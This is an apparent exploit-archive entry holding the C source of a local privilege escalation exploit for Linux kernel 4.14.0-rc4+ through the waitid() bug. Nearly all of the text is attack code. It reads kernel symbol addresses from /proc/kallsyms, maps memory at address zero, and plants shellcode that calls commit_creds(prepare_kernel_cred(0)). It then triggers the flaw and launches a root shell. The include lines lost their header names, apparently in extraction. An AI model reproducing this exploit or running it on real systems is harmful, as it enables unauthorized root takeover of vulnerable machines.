Linux Kernel 4.14.0-rc4+ - 'waitid()' Privilege Escalation

Properties

Published:
24.10.2017
Target:
Linux Kernel 4.14.0-rc4+

Code

#define _GNU_SOURCE
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
struct cred;
struct task_struct;
  
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
  
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
  
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
  
  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}
  
void get_root() {
  if (commit_creds && prepare_kernel_cred)
    commit_creds(prepare_kernel_cred(0));
}
  
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;
  
  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}
 
int main(int ac, char **av)
{
    if (ac != 2) {
        printf("./exploit kernel_offset\n");
        printf("exemple = 0xffffffff81f3f45a");
        return EXIT_FAILURE;
    }
 
    // 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
    prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
    commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
    // have_canfork_callback offset <= rendre dynamique aussi
     
    pid_t     pid;
    /* siginfo_t info; */
 
    // 1 - Mapper la mmoire  l'adresse 0x0000000000000000
    printf("[+] Try to allocat 0x00000000...\n");
    if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
        printf("[-] Failed to allocat 0x00000000\n");
        return -1;
    }
    printf("[+] Allocation success !\n");
    /* memset(0, 0xcc, 4096); */
/*
movq rax, 0xffffffff81f3f45a
movq [rax], 0
mov rax, 0x4242424242424242
call rax
xor rax, rax
ret
replace 0x4242424242424242 by get_root
https://defuse.ca/online-x86-assembler.htm#disassembly
     */
    unsigned char shellcode[] = 
    { 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
    void **get_root_offset = rawmemchr(shellcode, 0x42);
    (*get_root_offset) = get_root;
 
    memcpy(0, shellcode, sizeof(shellcode));
    /* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */
 
    if(-1 == (pid = fork())) {
        perror("fork()");
        return EXIT_FAILURE;
    }
 
    if(pid == 0) {
        _exit(0xDEADBEEF);
        perror("son");
        return EXIT_FAILURE;
    }
 
    siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
    waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);
 
// TRIGGER
    pid = fork();
    printf("fork_ret = %d\n", pid); 
    if (pid > 0)
        get_shell();
    return EXIT_SUCCESS;
}